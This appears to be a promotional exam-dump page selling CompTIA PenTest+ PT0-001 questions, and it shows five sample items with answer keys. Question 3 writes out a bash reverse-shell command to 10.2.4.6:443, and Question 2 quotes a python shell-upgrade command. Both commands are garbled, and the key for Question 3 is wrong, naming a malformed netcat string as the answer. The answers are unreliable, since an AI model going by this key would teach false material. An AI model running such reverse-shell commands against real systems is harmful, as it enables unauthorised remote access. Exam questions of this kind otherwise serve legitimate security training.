PT0-001 Q&As

CompTIA PenTest+ Exam

Pass CompTIA PT0-001 Exam with 100% Guarantee

Free Download Real Questions & Answers **PDF** and **VCE** file from:

https://www.geekcert.com/pt0-001.html

100% Passing Guarantee
100% Money Back Assurance

Following Questions and Answers are all new published by CompTIA Official Exam Center

- **Instant Download** After Purchase
- **100% Money Back** Guarantee
- **365 Days** Free Update
- **800,000+** Satisfied Customers

QUESTION 1

An individual has been hired by an organization after passing a background check. The individual has been passing information to a competitor over a period of time. Which of the following classifications BEST describes the individual?

A. APT

B. Insider threat

C. Script kiddie

D. Hacktivist

Correct Answer: B

Reference: https://en.wikipedia.org/wiki/Insider_threat

QUESTION 2

A penetration tester runs the following from a compromised box \\'python -c -import pty;Pty.sPawn("/bin/bash").\\' Which of the following actions is the tester taking?

A. Removing the Bash history

B. Upgrading the shell

C. Creating a sandbox

D. Capturing credentials

Correct Answer: B

Reference: https://schu.media/2017/08/05/using-reverse-shell-to-get-access-to-your-server/

QUESTION 3

A tester intends to run the following command on a target system:

bash -i >and /dev/tcp/10.2.4.6/443 0> and1

Which of the following additional commands would need to be executed on the tester\\'s Linux system to make the previous command successful?

A. nc -nvlp 443

B. nc 10.2.4.6 443

C. nc -w3 10.2.4.6 443

D. nc-/bin/ah 10.2.4.6 443

Correct Answer: D

QUESTION 4

An attacker performed a MITM attack against a mobile application. The attacker is attempting to manipulate the application\\'s network traffic via a proxy tool. The attacker only sees limited traffic as cleartext. The application log files indicate secure SSL/TLS connections are failing. Which of the following is MOST likely preventing proxying of all traffic?

A. Misconfigured routes

B. Certificate pinning

C. Strong cipher suites

D. Closed ports

Correct Answer: B

QUESTION 5

DRAG DROP

A technician is reviewing the following report. Given this information, identify which vulnerability can be definitively confirmed to be a false positive by dragging the “false positive” token to the “Confirmed” column for each vulnerability that is a false positive.

Select and Place:

Vulnerability	Vulnerability description	Operating System	Confirmed
Directory traversal	A vulnerability was found in the IIS server	Linux	
Default credentials	User:admin Pass:admin on CISCO AP	IOS	
Weak SSH encryption	SSH clients can negotiate weak ciphers	Windows	
Expired certificate	The RDP service certificate has expired	Linux	
Writable network share	Unauthenticated users can write to the NFS share	HPUX	

False positive

Correct Answer:

Vulnerability	Vulnerability description	Operating System	Confirmed
Directory traversal	A vulnerability was found in the IIS server	Linux	False positive
Default credentials	User:admin Pass:admin on CISCO AP	IOS	
Weak SSH encryption	SSH clients can negotiate weak ciphers	Windows	
Expired certificate	The RDP service certificate has expired	Linux	False positive
Writable network share	Unauthenticated users can write to the NFS share	HPUX	

False positive